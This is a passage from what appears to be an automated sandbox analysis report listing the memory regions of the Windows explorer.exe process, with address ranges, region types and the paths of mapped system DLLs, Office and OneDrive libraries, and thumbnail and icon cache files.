"c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_48.db") Region: id = 583 start_va = 0xab50000 end_va = 0xabcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ab50000" filename = "" Region: id = 584 start_va = 0xabd0000 end_va = 0xac4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000abd0000" filename = "" Region: id = 585 start_va = 0xacd0000 end_va = 0xad4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000acd0000" filename = "" Region: id = 586 start_va = 0xad50000 end_va = 0xadcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000ad50000" filename = "" Region: id = 587 start_va = 0xadd0000 end_va = 0xaecffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_48.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_48.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_48.db") Region: id = 588 start_va = 0xaed0000 end_va = 0xafcffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "iconcache_32.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\iconcache_32.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\iconcache_32.db") Region: id = 589 start_va = 0xafd0000 end_va = 0xb04ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000afd0000" filename = "" Region: id = 590 start_va = 0xb050000 end_va = 0xb0cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b050000" filename = "" Region: id = 591 start_va = 0xb0d0000 end_va = 0xb14ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b0d0000" filename = "" Region: id = 592 start_va = 0xb150000 end_va = 0xb1cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b150000" filename = "" Region: id = 593 start_va = 0xb1d0000 end_va = 0xb24ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b1d0000" filename = "" Region: id = 594 start_va = 0xb250000 end_va = 0xb34ffff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "thumbcache_256.db" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\Windows\\Explorer\\thumbcache_256.db" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\windows\\explorer\\thumbcache_256.db") Region: id = 595 start_va = 0xb350000 end_va = 0xb3cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b350000" filename = "" Region: id = 596 start_va = 0xb550000 end_va = 0xb5cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000b550000" filename = "" Region: id = 597 start_va = 0xbbd0000 end_va = 0xc0c1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000bbd0000" filename = "" Region: id = 598 start_va = 0xc0d0000 end_va = 0xc5c1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000c0d0000" filename = "" Region: id = 599 start_va = 0xc5d0000 end_va = 0xcfcffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000000c5d0000" filename = "" Region: id = 600 start_va = 0xcfd0000 end_va = 0xd4c1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000cfd0000" filename = "" Region: id = 601 start_va = 0xd4d0000 end_va = 0xd9c1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000d4d0000" filename = "" Region: id = 602 start_va = 0xd9d0000 end_va = 0xdec1fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000d9d0000" filename = "" Region: id = 603 start_va = 0xf850000 end_va = 0xf8cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f850000" filename = "" Region: id = 604 start_va = 0xf8d0000 end_va = 0xf94ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f8d0000" filename = "" Region: id = 605 start_va = 0xf950000 end_va = 0xf9cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f950000" filename = "" Region: id = 606 start_va = 0xf9d0000 end_va = 0xfa4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000f9d0000" filename = "" Region: id = 607 start_va = 0xfa50000 end_va = 0xfacffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000fa50000" filename = "" Region: id = 608 start_va = 0xfad0000 end_va = 0xfb4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000fad0000" filename = "" Region: id = 609 start_va = 0xfb50000 end_va = 0xfbcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000fb50000" filename = "" Region: id = 610 start_va = 0xfbd0000 end_va = 0xfc4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000fbd0000" filename = "" Region: id = 611 start_va = 0xfd50000 end_va = 0xfdcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000000fd50000" filename = "" Region: id = 612 start_va = 0x10050000 end_va = 0x100cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000010050000" filename = "" Region: id = 613 start_va = 0x10450000 end_va = 0x1306dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 614 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 615 start_va = 0x180000000 end_va = 0x18087dfff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "grooveintlresource.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Office\\Office16\\1033\\GrooveIntlResource.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilesx64\\microsoft office\\office16\\1033\\grooveintlresource.dll") Region: id = 616 start_va = 0x7df5ffec0000 end_va = 0x7df5fffbffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffec0000" filename = "" Region: id = 617 start_va = 0x7df5fffc0000 end_va = 0x7df5fffe2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5fffc0000" filename = "" Region: id = 618 start_va = 0x7df5ffff0000 end_va = 0x7ff5fffeffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007df5ffff0000" filename = "" Region: id = 619 start_va = 0x7ff7aabd0000 end_va = 0x7ff7ab017fff monitored = 0 entry_point = 0x7ff7aac6e090 region_type = mapped_file name = "explorer.exe" filename = "\\Windows\\explorer.exe" (normalized: "c:\\windows\\explorer.exe") Region: id = 620 start_va = 0x7ffd32140000 end_va = 0x7ffd32148fff monitored = 0 entry_point = 0x7ffd32141b60 region_type = mapped_file name = "iconcodecservice.dll" filename = "\\Windows\\System32\\IconCodecService.dll" (normalized: "c:\\windows\\system32\\iconcodecservice.dll") Region: id = 621 start_va = 0x7ffd324c0000 end_va = 0x7ffd3250ffff monitored = 0 entry_point = 0x7ffd324f1220 region_type = mapped_file name = "windows.system.launcher.dll" filename = "\\Windows\\System32\\Windows.System.Launcher.dll" (normalized: "c:\\windows\\system32\\windows.system.launcher.dll") Region: id = 622 start_va = 0x7ffd34960000 end_va = 0x7ffd3562cfff monitored = 0 entry_point = 0x7ffd34aae880 region_type = mapped_file name = "ieframe.dll" filename = "\\Windows\\System32\\ieframe.dll" (normalized: "c:\\windows\\system32\\ieframe.dll") Region: id = 623 start_va = 0x7ffd36960000 end_va = 0x7ffd36a0bfff monitored = 0 entry_point = 0x7ffd369659c0 region_type = mapped_file name = "ieproxy.dll" filename = "\\Windows\\System32\\ieproxy.dll" (normalized: "c:\\windows\\system32\\ieproxy.dll") Region: id = 624 start_va = 0x7ffd36b30000 end_va = 0x7ffd36b7dfff monitored = 0 entry_point = 0x7ffd36b41ce0 region_type = mapped_file name = "framedynos.dll" filename = "\\Windows\\System32\\framedynos.dll" (normalized: "c:\\windows\\system32\\framedynos.dll") Region: id = 625 start_va = 0x7ffd36d40000 end_va = 0x7ffd36d4ffff monitored = 0 entry_point = 0x7ffd36d43d50 region_type = mapped_file name = "pcacli.dll" filename = "\\Windows\\System32\\pcacli.dll" (normalized: "c:\\windows\\system32\\pcacli.dll") Region: id = 626 start_va = 0x7ffd37470000 end_va = 0x7ffd377b5fff monitored = 0 entry_point = 0x7ffd37478530 region_type = mapped_file name = "synccenter.dll" filename = "\\Windows\\System32\\SyncCenter.dll" (normalized: "c:\\windows\\system32\\synccenter.dll") Region: id = 627 start_va = 0x7ffd377c0000 end_va = 0x7ffd37a02fff monitored = 0 entry_point = 0x7ffd377c36c0 region_type = mapped_file name = "authui.dll" filename = "\\Windows\\System32\\authui.dll" (normalized: "c:\\windows\\system32\\authui.dll") Region: id = 628 start_va = 0x7ffd37a10000 end_va = 0x7ffd37a97fff monitored = 0 entry_point = 0x7ffd37a24510 region_type = mapped_file name = "audioses.dll" filename = "\\Windows\\System32\\AudioSes.dll" (normalized: "c:\\windows\\system32\\audioses.dll") Region: id = 629 start_va = 0x7ffd37aa0000 end_va = 0x7ffd37aeffff monitored = 0 entry_point = 0x7ffd37aabe50 region_type = mapped_file name = "actioncenter.dll" filename = "\\Windows\\System32\\ActionCenter.dll" (normalized: "c:\\windows\\system32\\actioncenter.dll") Region: id = 630 start_va = 0x7ffd37af0000 end_va = 0x7ffd37b06fff monitored = 0 entry_point = 0x7ffd37af2790 region_type = mapped_file name = "syncreg.dll" filename = "\\Windows\\System32\\Syncreg.dll" (normalized: "c:\\windows\\system32\\syncreg.dll") Region: id = 631 start_va = 0x7ffd37b10000 end_va = 0x7ffd37b51fff monitored = 0 entry_point = 0x7ffd37b12230 region_type = mapped_file name = "shdocvw.dll" filename = "\\Windows\\System32\\shdocvw.dll" (normalized: "c:\\windows\\system32\\shdocvw.dll") Region: id = 632 start_va = 0x7ffd37b60000 end_va = 0x7ffd37bd8fff monitored = 0 entry_point = 0x7ffd37b622d0 region_type = mapped_file name = "dxp.dll" filename = "\\Windows\\System32\\DXP.dll" (normalized: "c:\\windows\\system32\\dxp.dll") Region: id = 633 start_va = 0x7ffd37be0000 end_va = 0x7ffd37c5afff monitored = 0 entry_point = 0x7ffd37be3af0 region_type = mapped_file name = "prnfldr.dll" filename = "\\Windows\\System32\\prnfldr.dll" (normalized: "c:\\windows\\system32\\prnfldr.dll") Region: id = 634 start_va = 0x7ffd37c60000 end_va = 0x7ffd37db9fff monitored = 0 entry_point = 0x7ffd37c64610 region_type = mapped_file name = "windows.ui.shell.dll" filename = "\\Windows\\System32\\Windows.UI.Shell.dll" (normalized: "c:\\windows\\system32\\windows.ui.shell.dll") Region: id = 635 start_va = 0x7ffd37dc0000 end_va = 0x7ffd37fbdfff monitored = 0 entry_point = 0x7ffd37dc16c0 region_type = mapped_file name = "batmeter.dll" filename = "\\Windows\\System32\\batmeter.dll" (normalized: "c:\\windows\\system32\\batmeter.dll") Region: id = 636 start_va = 0x7ffd37fc0000 end_va = 0x7ffd38023fff monitored = 0 entry_point = 0x7ffd37fc6b20 region_type = mapped_file name = "stobject.dll" filename = "\\Windows\\System32\\stobject.dll" (normalized: "c:\\windows\\system32\\stobject.dll") Region: id = 637 start_va = 0x7ffd384e0000 end_va = 0x7ffd38620fff monitored = 0 entry_point = 0x7ffd384e5f70 region_type = mapped_file name = "werconcpl.dll" filename = "\\Windows\\System32\\werconcpl.dll" (normalized: "c:\\windows\\system32\\werconcpl.dll") Region: id = 638 start_va = 0x7ffd38630000 end_va = 0x7ffd38750fff monitored = 0 entry_point = 0x7ffd38631cc0 region_type = mapped_file name = "wscui.cpl" filename = "\\Windows\\System32\\wscui.cpl" (normalized: "c:\\windows\\system32\\wscui.cpl") Region: id = 639 start_va = 0x7ffd38760000 end_va = 0x7ffd3878dfff monitored = 0 entry_point = 0x7ffd38766580 region_type = mapped_file name = "wscinterop.dll" filename = "\\Windows\\System32\\wscinterop.dll" (normalized: "c:\\windows\\system32\\wscinterop.dll") Region: id = 640 start_va = 0x7ffd3b070000 end_va = 0x7ffd3b07ffff monitored = 0 entry_point = 0x7ffd3b0778e0 region_type = mapped_file name = "atlthunk.dll" filename = "\\Windows\\System32\\atlthunk.dll" (normalized: "c:\\windows\\system32\\atlthunk.dll") Region: id = 641 start_va = 0x7ffd3b100000 end_va = 0x7ffd3b13dfff monitored = 0 entry_point = 0x7ffd3b109650 region_type = mapped_file name = "mlang.dll" filename = "\\Windows\\System32\\mlang.dll" (normalized: "c:\\windows\\system32\\mlang.dll") Region: id = 642 start_va = 0x7ffd3cf40000 end_va = 0x7ffd3cfb6fff monitored = 0 entry_point = 0x7ffd3cf42af0 region_type = mapped_file name = "provsvc.dll" filename = "\\Windows\\System32\\provsvc.dll" (normalized: "c:\\windows\\system32\\provsvc.dll") Region: id = 643 start_va = 0x7ffd3e040000 end_va = 0x7ffd3e05efff monitored = 0 entry_point = 0x7ffd3e0437e0 region_type = mapped_file name = "netsetupapi.dll" filename = "\\Windows\\System32\\NetSetupApi.dll" (normalized: "c:\\windows\\system32\\netsetupapi.dll") Region: id = 644 start_va = 0x7ffd3e060000 end_va = 0x7ffd3e0d8fff monitored = 0 entry_point = 0x7ffd3e0676a0 region_type = mapped_file name = "netsetupshim.dll" filename = "\\Windows\\System32\\NetSetupShim.dll" (normalized: "c:\\windows\\system32\\netsetupshim.dll") Region: id = 645 start_va = 0x7ffd3e2b0000 end_va = 0x7ffd3e2c4fff monitored = 0 entry_point = 0x7ffd3e2b5740 region_type = mapped_file name = "profext.dll" filename = "\\Windows\\System32\\profext.dll" (normalized: "c:\\windows\\system32\\profext.dll") Region: id = 646 start_va = 0x7ffd3e2d0000 end_va = 0x7ffd3e31afff monitored = 0 entry_point = 0x7ffd3e2e1590 region_type = mapped_file name = "vaultcli.dll" filename = "\\Windows\\System32\\vaultcli.dll" (normalized: "c:\\windows\\system32\\vaultcli.dll") Region: id = 647 start_va = 0x7ffd3e7e0000 end_va = 0x7ffd3e7fafff monitored = 0 entry_point = 0x7ffd3e7eaf40 region_type = mapped_file name = "capauthz.dll" filename = "\\Windows\\System32\\capauthz.dll" (normalized: "c:\\windows\\system32\\capauthz.dll") Region: id = 648 start_va = 0x7ffd3e990000 end_va = 0x7ffd3e9a3fff monitored = 0 entry_point = 0x7ffd3e993710 region_type = mapped_file name = "mskeyprotect.dll" filename = "\\Windows\\System32\\mskeyprotect.dll" (normalized: "c:\\windows\\system32\\mskeyprotect.dll") Region: id = 649 start_va = 0x7ffd3ea40000 end_va = 0x7ffd3ea5dfff monitored = 0 entry_point = 0x7ffd3ea4ef80 region_type = mapped_file name = "ncryptsslp.dll" filename = "\\Windows\\System32\\ncryptsslp.dll" (normalized: "c:\\windows\\system32\\ncryptsslp.dll") Region: id = 650 start_va = 0x7ffd3ed50000 end_va = 0x7ffd3ed5bfff monitored = 0 entry_point = 0x7ffd3ed535c0 region_type = mapped_file name = "secur32.dll" filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll") Region: id = 651 start_va = 0x7ffd3ed60000 end_va = 0x7ffd3ef08fff monitored = 0 entry_point = 0x7ffd3edb4060 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_0bdd1d3064f6384a\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10586.0_none_0bdd1d3064f6384a\\gdiplus.dll") Region: id = 652 start_va = 0x7ffd40310000 end_va = 0x7ffd4038ffff monitored = 0 entry_point = 0x7ffd4033d280 region_type = mapped_file name = "webio.dll" filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll") Region: id = 653 start_va = 0x7ffd40390000 end_va = 0x7ffd403b1fff monitored = 0 entry_point = 0x7ffd40392580 region_type = mapped_file name = "wcmapi.dll" filename = "\\Windows\\System32\\wcmapi.dll" (normalized: "c:\\windows\\system32\\wcmapi.dll") Region: id = 654 start_va = 0x7ffd403c0000 end_va = 0x7ffd403fffff monitored = 0 entry_point = 0x7ffd403d6c60 region_type = mapped_file name = "netprofm.dll" filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll") Region: id = 655 start_va = 0x7ffd404f0000 end_va = 0x7ffd40769fff monitored = 0 entry_point = 0x7ffd4050a7a0 region_type = mapped_file name = "msxml6.dll" filename = "\\Windows\\System32\\msxml6.dll" (normalized: "c:\\windows\\system32\\msxml6.dll") Region: id = 656 start_va = 0x7ffd410e0000 end_va = 0x7ffd410f5fff monitored = 0 entry_point = 0x7ffd410e1d50 region_type = mapped_file name = "wwapi.dll" filename = "\\Windows\\System32\\wwapi.dll" (normalized: "c:\\windows\\system32\\wwapi.dll") Region: id = 657 start_va = 0x7ffd41100000 end_va = 0x7ffd412b7fff monitored = 0 entry_point = 0x7ffd4116e630 region_type = mapped_file name = "urlmon.dll" filename = "\\Windows\\System32\\urlmon.dll" (normalized: "c:\\windows\\system32\\urlmon.dll") Region: id = 658 start_va = 0x7ffd412c0000 end_va = 0x7ffd41307fff monitored = 0 entry_point = 0x7ffd412ca430 region_type = mapped_file name = "notificationobjfactory.dll" filename = "\\Windows\\System32\\NotificationObjFactory.dll" (normalized: "c:\\windows\\system32\\notificationobjfactory.dll") Region: id = 659 start_va = 0x7ffd41370000 end_va = 0x7ffd413cbfff monitored = 0 entry_point = 0x7ffd41387190 region_type = mapped_file name = "ninput.dll" filename = "\\Windows\\System32\\ninput.dll" (normalized: "c:\\windows\\system32\\ninput.dll") Region: id = 660 start_va = 0x7ffd413d0000 end_va = 0x7ffd41466fff monitored = 0 entry_point = 0x7ffd413dddc0 region_type = mapped_file name = "wlidprov.dll" filename = "\\Windows\\System32\\wlidprov.dll" (normalized: "c:\\windows\\system32\\wlidprov.dll") Region: id = 661 start_va = 0x7ffd41470000 end_va = 0x7ffd4147bfff monitored = 0 entry_point = 0x7ffd414714b0 region_type = mapped_file name = "notificationcontrollerps.dll" filename = "\\Windows\\System32\\NotificationControllerPS.dll" (normalized: "c:\\windows\\system32\\notificationcontrollerps.dll") Region: id = 662 start_va = 0x7ffd41480000 end_va = 0x7ffd414b6fff monitored = 0 entry_point = 0x7ffd414820a0 region_type = mapped_file name = "ehstorshell.dll" filename = "\\Windows\\System32\\EhStorShell.dll" (normalized: "c:\\windows\\system32\\ehstorshell.dll") Region: id = 663 start_va = 0x7ffd414c0000 end_va = 0x7ffd417f9fff monitored = 0 entry_point = 0x7ffd414c8520 region_type = mapped_file name = "msi.dll" filename = "\\Windows\\System32\\msi.dll" (normalized: "c:\\windows\\system32\\msi.dll") Region: id = 664 start_va = 0x7ffd41800000 end_va = 0x7ffd4189dfff monitored = 0 entry_point = 0x7ffd41849d40 region_type = mapped_file name = "msvcp140.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Office\\Office16\\msvcp140.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilesx64\\microsoft office\\office16\\msvcp140.dll") Region: id = 665 start_va = 0x7ffd418a0000 end_va = 0x7ffd418b6fff monitored = 0 entry_point = 0x7ffd418ac440 region_type = mapped_file name = "vcruntime140.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Office\\Office16\\vcruntime140.dll" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilesx64\\microsoft office\\office16\\vcruntime140.dll") Region: id = 666 start_va = 0x7ffd418c0000 end_va = 0x7ffd41ad3fff monitored = 0 entry_point = 0x7ffd418c1000 region_type = mapped_file name = "grooveex.dll" filename = "\\Program Files (x86)\\Microsoft Office\\root\\VFS\\ProgramFilesX64\\Microsoft Office\\Office16\\GROOVEEX.DLL" (normalized: "c:\\program files (x86)\\microsoft office\\root\\vfs\\programfilesx64\\microsoft office\\office16\\grooveex.dll") Region: id = 667 start_va = 0x7ffd41ae0000 end_va = 0x7ffd41d6dfff monitored = 0 entry_point = 0x7ffd41bb0f00 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 668 start_va = 0x7ffd41d70000 end_va = 0x7ffd41d79fff monitored = 0 entry_point = 0x7ffd41d71350 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 669 start_va = 0x7ffd41d80000 end_va = 0x7ffd41e6efff monitored = 0 entry_point = 0x7ffd41da29cc region_type = mapped_file name = "msvcr120.dll" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\OneDrive\\17.3.5892.0626_4\\amd64\\msvcr120.dll" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\onedrive\\17.3.5892.0626_4\\amd64\\msvcr120.dll") Region: id = 670 start_va = 0x7ffd41e70000 end_va = 0x7ffd41f15fff monitored = 0 entry_point = 0x7ffd41ebefec region_type = mapped_file name = "msvcp120.dll" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\OneDrive\\17.3.5892.0626_4\\amd64\\msvcp120.dll" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\onedrive\\17.3.5892.0626_4\\amd64\\msvcp120.dll") Region: id = 671 start_va = 0x7ffd41f20000 end_va = 0x7ffd420aefff monitored = 0 entry_point = 0x7ffd41f301d8 region_type = mapped_file name = "filesyncshell64.dll" filename = "\\Users\\RDhJ0CNFevzX\\AppData\\Local\\Microsoft\\OneDrive\\17.3.5892.0626_4\\amd64\\FileSyncShell64.dll" (normalized: "c:\\users\\rdhj0cnfevzx\\appdata\\local\\microsoft\\onedrive\\17.3.5892.0626_4\\amd64\\filesyncshell64.dll") Region: id = 672 start_va = 0x7ffd420b0000 end_va = 0x7ffd420d5fff monitored = 0 entry_point = 0x7ffd420c5cb0 region_type = mapped_file name = "npsm.dll" filename = "\\Windows\\System32\\NPSM.dll" (normalized: "c:\\windows\\system32\\npsm.dll") Region: id = 673 start_va = 0x7ffd420e0000 end_va = 0x7ffd4210afff monitored = 0 entry_point = 0x7ffd420e4240 region_type = mapped_file name = "abovelockapphost.dll" filename = "\\Windows\\System32\\AboveLockAppHost.dll" (normalized: "c:\\windows\\system32\\abovelockapphost.dll") Region: id = 674 start_va = 0x7ffd42110000 end_va = 0x7ffd4211cfff monitored = 0 entry_point = 0x7ffd42111ea0 region_type = mapped_file name = "linkinfo.dll" filename = "\\Windows\\System32\\linkinfo.dll" (normalized: "c:\\windows\\system32\\linkinfo.dll") Region: id = 675 start_va = 0x7ffd42120000 end_va = 0x7ffd4216cfff monitored = 0 entry_point = 0x7ffd42137de0 region_type = mapped_file name = "thumbcache.dll" filename = "\\Windows\\System32\\thumbcache.dll" (normalized: "c:\\windows\\system32\\thumbcache.dll") Region: id = 676 start_va = 0x7ffd42170000 end_va = 0x7ffd421f5fff monitored = 0 entry_point = 0x7ffd42191e10 region_type = mapped_file name = "notificationcontroller.dll" filename = "\\Windows\\System32\\NotificationController.dll" (normalized: "c:\\windows\\system32\\notificationcontroller.dll") Region: id = 677 start_va = 0x7ffd42200000 end_va = 0x7ffd422d9fff monitored = 0 entry_point = 0x7ffd42233c00 region_type = mapped_file name = "wpncore.dll" filename = "\\Windows\\System32\\wpncore.dll" (normalized: "c:\\windows\\system32\\wpncore.dll") Region: id = 678 start_va = 0x7ffd422e0000 end_va = 0x7ffd422f1fff monitored = 0 entry_point = 0x7ffd422e3580 region_type = mapped_file name = "cscapi.dll" filename = "\\Windows\\System32\\cscapi.dll" (normalized: "c:\\windows\\system32\\cscapi.dll") Region: id = 679 start_va = 0x7ffd42300000 end_va = 0x7ffd4241ffff monitored = 0 entry_point = 0x7ffd42338310 region_type = mapped_file name = "applicationframe.dll" filename = "\\Windows\\System32\\ApplicationFrame.dll" (normalized: "c:\\windows\\system32\\applicationframe.dll") Region: id = 680 start_va = 0x7ffd42420000 end_va = 0x7ffd42445fff monitored = 0 entry_point = 0x7ffd42421cf0 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 681 start_va = 0x7ffd42450000 end_va = 0x7ffd4252afff monitored = 0 entry_point = 0x7ffd424628b0 region_type = mapped_file name = "ntshrui.dll" filename = "\\Windows\\System32\\ntshrui.dll" (normalized: "c:\\windows\\system32\\ntshrui.dll") Region: id = 682 start_va = 0x7ffd42530000 end_va = 0x7ffd425c3fff monitored = 0 entry_point = 0x7ffd42569210 region_type = mapped_file name = "staterepository.core.dll" filename = "\\Windows\\System32\\StateRepository.Core.dll" (normalized: "c:\\windows\\system32\\staterepository.core.dll") Region: id = 683 start_va = 0x7ffd425d0000 end_va = 0x7ffd42872fff monitored = 0 entry_point = 0x7ffd425f6190 region_type = mapped_file name = "windows.staterepository.dll" filename = "\\Windows\\System32\\Windows.StateRepository.dll" (normalized: "c:\\windows\\system32\\windows.staterepository.dll") Region: id = 684 start_va = 0x7ffd42880000 end_va = 0x7ffd4288bfff monitored = 0 entry_point = 0x7ffd428818b0 region_type = mapped_file name = "wldp.dll" filename = "\\Windows\\System32\\wldp.dll" (normalized: "c:\\windows\\system32\\wldp.dll") Region: id = 685 start_va = 0x7ffd42890000 end_va = 0x7ffd428dcfff monitored = 0 entry_point = 0x7ffd4289d180 region_type = mapped_file name = "windows.immersiveshell.serviceprovider.dll" filename = "\\Windows\\System32\\windows.immersiveshell.serviceprovider.dll" (normalized: "c:\\windows\\system32\\windows.immersiveshell.serviceprovider.dll") Region: id = 686 start_va = 0x7ffd428e0000 end_va = 0x7ffd433eafff monitored = 0 entry_point = 0x7ffd42a2a540 region_type = mapped_file name = "twinui.dll" filename = "\\Windows\\System32\\twinui.dll" (normalized: "c:\\windows\\system32\\twinui.dll") Region: id = 687 start_va = 0x7ffd433f0000 end_va = 0x7ffd4343ffff monitored = 0 entry_point = 0x7ffd433f2580 region_type = mapped_file name = "edputil.dll" filename = "\\Windows\\System32\\edputil.dll" (normalized: "c:\\windows\\system32\\edputil.dll") Region: id = 688 start_va = 0x7ffd43440000 end_va = 0x7ffd438dffff monitored = 0 entry_point = 0x7ffd434d8740 region_type = mapped_file name = "explorerframe.dll" filename = "\\Windows\\System32\\ExplorerFrame.dll" (normalized: "c:\\windows\\system32\\explorerframe.dll") Region: id = 689 start_va = 0x7ffd43a50000 end_va = 0x7ffd43a99fff monitored = 0 entry_point = 0x7ffd43a55800 region_type = mapped_file name = "dataexchange.dll" filename = "\\Windows\\System32\\DataExchange.dll" (normalized: "c:\\windows\\system32\\dataexchange.dll") Region: id = 690 start_va = 0x7ffd43ac0000 end_va = 0x7ffd43b29fff monitored = 0 entry_point = 0x7ffd43ad5e90 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\System32\\oleacc.dll" (normalized: "c:\\windows\\system32\\oleacc.dll") Region: id = 691 start_va = 0x7ffd43b30000 end_va = 0x7ffd43b94fff monitored = 0 entry_point = 0x7ffd43b34c50 region_type = mapped_file name = "sndvolsso.dll" filename = "\\Windows\\System32\\SndVolSSO.dll" (normalized: "c:\\windows\\system32\\sndvolsso.dll") Region: id = 692 start_va = 0x7ffd43ba0000 end_va = 0x7ffd43e13fff monitored = 0 entry_point = 0x7ffd43c10400 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_8c15ae12515e1c22\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.10586.0_none_8c15ae12515e1c22\\comctl32.dll") Region: id = 693 start_va = 0x7ffd43e20000 end_va = 0x7ffd43eedfff monitored = 0 entry_point = 0x7ffd43e514c0 region_type = mapped_file name = "tokenbroker.dll" filename = "\\Windows\\System32\\TokenBroker.dll" (normalized: "c:\\windows\\system32\\tokenbroker.dll") Region: id = 694 start_va = 0x7ffd43ef0000 end_va = 0x7ffd43fe8fff monitored = 0 entry_point = 0x7ffd43f38000 region_type = mapped_file name = "settingsynccore.dll" filename = "\\Windows\\System32\\SettingSyncCore.dll" (normalized: "c:\\windows\\system32\\settingsynccore.dll") Region: id = 695 start_va = 0x7ffd43ff0000 end_va = 0x7ffd44004fff monitored = 0 entry_point = 0x7ffd43ff2c90 region_type = mapped_file name = "settingsyncpolicy.dll" filename = "\\Windows\\System32\\SettingSyncPolicy.dll" (normalized: "c:\\windows\\system32\\settingsyncpolicy.dll") Region: id = 696 start_va = 0x7ffd44010000 end_va = 0x7ffd440c0fff monitored = 0 entry_point = 0x7ffd440208f0 region_type = mapped_file name = "twinapi.dll" filename = "\\Windows\\System32\\twinapi.dll" (normalized: "c:\\windows\\system32\\twinapi.dll") Region: id = 697 start_va = 0x7ffd440e0000 end_va = 0x7ffd440f4fff monitored = 0 entry_point = 0x7ffd440e1ab0 region_type = mapped_file name = "execmodelproxy.dll" filename = "\\Windows\\System32\\execmodelproxy.dll" (normalized: "c:\\windows\\system32\\execmodelproxy.dll") Region: id = 698 start_va = 0x7ffd44130000 end_va = 0x7ffd4438cfff monitored = 0 entry_point = 0x7ffd441b8610 region_type = mapped_file name = "twinui.appcore.dll" filename = "\\Windows\\System32\\twinui.appcore.dll" (normalized: "c:\\windows\\system32\\twinui.appcore.dll") 